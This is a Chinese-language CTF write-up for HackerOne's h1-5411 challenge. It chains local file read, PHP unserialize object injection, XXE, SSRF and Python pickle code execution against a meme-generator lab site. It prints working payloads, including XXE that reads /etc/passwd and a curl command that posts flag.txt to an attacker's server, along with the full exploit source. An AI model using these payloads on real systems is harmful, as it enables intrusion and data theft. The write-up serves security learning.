H1-5411 CTF通關Write-up
erbbysam和我最近打算挑戰一下HackerOne舉辦的最新的CTF比賽。本文是我們從開始到結束所採取的過程的記錄。
h1-5411 CTF以HackerOne釋出的推文作為一個開始:
點選連結將引導你訪問CTF網站:
· ofollow,noindex">https://h1-5411.h1ctf.com/
這個網站允許你選擇MEME模板,頂部文字和底部文字。這會生成一個儲存到會話中的MEME,它是一個影象或txt檔案。
生成Meme
POST請求如下所示:
POST /api/generate.php HTTP/1.1 Host: h1-5411.h1ctf.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://h1-5411.h1ctf.com/generate.php Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 63 Cookie: PHPSESSID=qpvh9cil4heghbjdq6cp4vfbgs Connection: close template=template4.txt&type=text⊤-text=test⊥-text=test
template引數可以設定檔名用於MEME生成過程的一部分。
正如你可能猜到的,模板變數很容易產生本地檔案讀取(LFR)漏洞。只要將其設定為txt模板,就可以在系統上指定任意檔案並獲取其檔案內容。這是獲取PHP原始碼的示例:
在這裡,你可以在檢視你儲存的MEME模板的原始碼:
在從index.php查詢到每個檔案在include()內包含的所有檔案之後,我們最終得到了整個應用程式的原始碼。下一步是弄清楚應用程式中存在哪些漏洞。
在/includes/classes.php檔案中,首先看到的事情是開發者故意禁用了XXE保護。
這意味著DOMDocument-> loadXML()容易受到外部實體/DTD的攻擊,並允許我們執行惡意的XXE有效載荷。這裡的問題是,我們如何設定ConfigFile類的config_raw變數。
從/includes/header.php檔案中,如果沒有LFR漏洞,你將無法發現下面兩個有趣的檔案。
/import_memes_2.0.php /export_memes_2.0.php
每個檔案都會向/api/目錄中的同名檔案傳送POST請求。
/api/import_memes_2.0.php
<?php require_once("../includes/config.php"); if (isset($_FILES['f'])) { $new_memes = unserialize(base64_decode( file_get_contents($_FILES['f']['tmp_name']))); $_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes); } header("Location: /memes.php"); ?>
/api/export_memes_2.0.php
<?php require_once("../includes/config.php"); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.time().'_export.memepak"'); echo base64_encode(serialize($_SESSION['memes'])); ?>
使用匯入API指令碼,我們可以使用檔案上傳POST請求指定unserialize()的輸入。上傳的反序列化資料將合併到$ _SESSION [“memes”]中,其中儲存了所有MEME。
現在我們知道我們可以通過unserialize(物件注入)建立PHP物件,並且知道ConfigFile類中有一個XXE,我們必須弄清楚如何將它們放在一起利用。
ConfigClass有一個魔術方法函式__toString(),只要初始化類並將其視為字串,它就會被呼叫。這通常意味著每個分配了類的變數都是echo,print,print_r等。
function __toString() { $this->parse(); $debug = ""; $debug .= "Debug Info :\n"; $debug .= "TopText => {$this->top_text}\n"; $debug .= "BottomText => {$this->bottom_text}\n"; $debug .= "Template Location => {$this->template}\n"; $debug .= "Template Type => {$this->type}\n"; return $debug; }
我們將在進一步解釋攻擊後討論如何觸發漏洞。在__toString()執行鏈之後,我們看到它立即呼叫了parse()函式。
function parse() { $dom = new DOMDocument(); $dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD); $o = simplexml_import_dom($dom); $this->top_text = $o->toptext; $this->bottom_text = $o->bottomtext; $this->template = $o->template; $this->type = $o->type; }
從上面的程式碼是可以看到希望的,因為$this-> config_raw被傳遞到易受攻擊的loadXML()函式呼叫,並且不會被任何靜態覆蓋。這意味著如果我們建立一個反序列化的物件,我們可以指定config_raw變數,它將執行我們的XXE有效載荷。
我們通過刪除此攻擊鏈中涉及的所有程式碼來設定一個測試指令碼,以便在啟用警告的情況下在本地進行測試。他們的伺服器沒有顯示任何PHP錯誤或警告,這意味著我們對我們遇到的任何潛在障礙完全看不到。
下面的gist就是我們的測試程式碼:
使用上面的指令碼,我們在config_raw中指定了我們的XXE有效載荷後,在新建立的類之上運行了base64_encode(serialize())函式。
示例程式碼:
class ConfigFile { ... } $test = new ConfigFile("asdf"); $test->config_raw = '<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "https://xss.buer.haus/ev.xml">%sp;%param1;]><r>&exfil;</r>'; echo base64_encode(serialize($test));
下一步是使用import_memes指令碼上傳它:
· https://h1-5411.h1ctf.com/import_memes_2.0.php
沒有出錯。但是我們遇到一個警告提示,說我們不能將一個數組和一個物件進行array_merge。這是有道理的,回顧/includes/config.php中的程式碼,我們可以看到$_SESSION [“memes”]是一個array()並獲取儲存在其中的字串。
// Start/Resume session session_start(); // Setup session if (!isset($_SESSION['memes'])) { $_SESSION['memes'] = array(); }
因此,為了將我們的物件儲存到$_SESSION [“memes”]中,我們必須將序列化物件包裝在一個數組中。這使事情變得有些複雜,因為我們發現利用toString()方法的唯一方法是在匯出指令碼上回顯$_SESSION [“memes”]。這意味著我們需要找到一種新方法來執行toString魔術方法。
幸運的是,我們在generate.php檔案中發現了這一點。
foreach($_SESSION['memes'] as $meme) { ?> <iframe width="100%" height="450" frameborder="0" src="<?php echo htmlentities($meme); ?>"></iframe> <?php } } ?>
正如你在程式碼中看到的那樣,它遍歷$_SESSION [“meme”]陣列中的所有專案並通過echo顯示它們。當它擊中儲存在陣列中的物件時,它將觸發toString()執行,從而最終執行我們的XXE有效載荷。
以下是使用XXE有效載荷載入file:///etc/passwd的示例:
class ConfigFile { ... } $test = new ConfigFile("asdf"); $test->config_raw = '<?xml version="1.0"?><!DOCTYPE root[<!ENTITY foo SYSTEM "file:///etc/passwd">]><test><toptext>dddrrr &foo;</toptext></test>'; echo base64_encode(serialize(array($test)));
太棒了!現在確認我們終於成功利用XXE漏洞了。
那我們接下來做什麼呢?我們已經利用了本地檔案讀取漏洞,所以接下來的事情可能與此無關。我記得我們在其中一個檔案中看到了localhost。XXE使我們能夠執行伺服器端請求偽造,並且由於XML被呈現給使用者,因此它也不是完全看不到的。這就使得我們能夠獲取和檢視伺服器的內部網站或服務。
這是/includes/classes.php中的註釋
/* Maintenance service: internal service on localhost, still under development!! class Maintenance { function __construct() { //TODO } } */
我們開始嘗試各種http:// 來呼叫localhost,但我們運氣不好。最終我們猜測它可能在一個隨機的埠上,我們的第一個猜測是正確的!我們從查詢http://localhost:1337得到了響應。服務埠是1337。
非盲目性的XXE有效載荷對於發現1337埠和功能至關重要:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/"> ]><test><toptext> &foo;</toptext></test>
請求後將返回如下內容:
內部Meme服務
Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints: /status - View maintenance status; /update-status Change maintenance status; Debug: The debug parameter allows debugging;
哦不,看起來,我們需要解決更多的挑戰。
訪問/狀態/status?debug=1打印出如下資訊:
Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=
Base64解碼字串後我們可以立即識別出它是Python pickle。這本質上是Python的序列化版本,並且具有類似的物件注入漏洞。但是,Python pickle通常會直接導致遠端執行程式碼。
(iapp Status p1 (dp2 S'message' p3 S'Maintenance mode: off' p4 sS'maintenance' p5 I00 Sb.
因此,我們應該嘗試用“惡意”泡菜來更新狀態!
通過有效形成的泡菜傳送到/ update-status?status =&debug = 1導致訊息:
A new status has been loaded. Automatic reloading not implemented yet!
不幸的是,對於/status頁面不存在這個漏洞(一個畸形的pickle會顯示錯誤輸出),這意味著我們必須盲目性的發現漏洞,讓這個“惡意”的pickle有效載荷生成器工作!所以我們下一步的策略是使用curl命令:
· https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd
執行下面的命令:
# python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com' Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==
新增到php payload:
$test->config_raw = '<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==&debug=1"> ]><test><toptext> &foo;</toptext></test>';
要上傳的新mypack檔案:
YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czozMTA6Ijw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIHJvb3QNClsNCjwhRU5USVRZIGZvbyBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9aHR0cDovL2xvY2FsaG9zdDoxMzM3L3VwZGF0ZS1zdGF0dXM/c3RhdHVzPVkzQnZjMmw0Q25ONWMzUmxiUXB3TVFvb1V5ZGpkWEpzSUMxWUlGQlBVMVFnTFdRZ0lud2tLR05oZENCbWJHRm5MblI0ZENsOElpQnRlWE5sY25abGNpNWpiMjBuQ25BeUNuUlNjRE1LTGc9PSZkZWJ1Zz0xIj4NCl0+PHRlc3Q+PHRvcHRleHQ+ICZmb287PC90b3B0ZXh0PjwvdGVzdD4iO319
再次訪問memes.php時,只需使用簡單的tornado監聽器來獲取POST響應即可:
import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def post(self): print self.request.body def make_app(): return tornado.web.Application([ (r"/.*", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(80) tornado.ioloop.IOLoop.current().start()
使用此方法檢視檔案系統(“python pickle.py'curl -X POST -d”| $(ls -lath)|“myserver.com”)會產生下面的結果:
total 36K drwxr-xr-x 1 rootroot4.0K Sep 26 16:20 .. drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 . drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 static -rw-r--r-- 1 maintenance maintenance 1.7K Sep 23 19:28 app.py -rw-r--r-- 1 maintenance maintenance 3.4K Sep 23 19:11 app.pyc -rw-r--r-- 1 maintenance maintenance150 Sep 23 19:07 flag.txt -rw-r--r-- 1 maintenance maintenance14 Sep 18 17:50 requirements.txt -rw-r--r-- 1 maintenance maintenance89 Sep 18 17:50 status.pickle drwxr-xr-x 1 maintenance maintenance 4.0K Sep 18 17:50 templates
獲取Flag
使用此方法檢視flag.txt(“python pickle.py'curl -X POST -d”| $(cat flag.txt)|“myserver.com”)顯示瞭如下內容:
Yay! Here is your flag: flag{cha1n1ng_bugs_f0r_fun_4nd_pr0f1t?_or_rep0rt_an_LF1} Go to https://hackerone.com/h1-5411-ctf and submit your writeup!
最終的利用原始碼
用於生成有效載荷的PHP程式碼(適用於http://sandbox.onlinephpfunctions.com/):
<?php $qqq= array("test", "abc"); class ConfigFile { function __construct($url) { $this->config_raw = $url;//file_get_contents($url); } function parse() { echo '<p>DEBUG: parse() hit (current config_raw = '.htmlspecialchars($this->config_raw).' )</p>'; $dom = new DOMDocument(); $dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD); $o = simplexml_import_dom($dom); $this->top_text = $o->toptext; $this->bottom_text = $o->bottomtext; $this->template = $o->template; $this->type = $o->type; } function generate() { $this->parse(); $meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder"; if ($this->type == IMAGE) { if (@is_array(getimagesize($this->path))) { $meme_path = MEMES_FOLDER . $filename . ".jpg"; $args = array( "top_text"=> $top_text, "bottom_text" => $bottom_text, "filename"=> $meme_path, "font"=> FONT_BASE, "memebase"=> $this->path, "textsize"=> 40, "textfit"=> true, "padding"=> 10, ); memegen_build_image($args); } } if ($this->type == TEXT) { if (!@is_array(getimagesize($this->path))) { $contents = file_get_contents($this->path); $meme = "" . strtoupper($top_text) . "\n\n" . $contents . "\n" . strtoupper($bottom_text); $meme_path = MEMES_FOLDER . $filename . ".txt"; file_put_contents($meme_path, $meme); } } return $meme_path; } function __toString() { echo '<p>DEBUG: toString() hit</p>'; $this->parse(); $debug = ""; $debug .= "Debug Info :\n"; $debug .= "TopText => {$this->top_text}\n"; $debug .= "BottomText => {$this->bottom_text}\n"; $debug .= "Template Location => {$this->template}\n"; $debug .= "Template Type => {$this->type}\n"; return $debug; } } $test = new ConfigFile("asdf"); $test->config_raw = '<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==&debug=1"> ]><test><toptext> &foo;</toptext></test>'; $serialized = base64_encode(serialize(array($test))); // test to make sure array_merge still works $new_memes = unserialize(base64_decode($serialized)); $qqq = array_merge($qqq, $new_memes); // print it echo $serialized; ?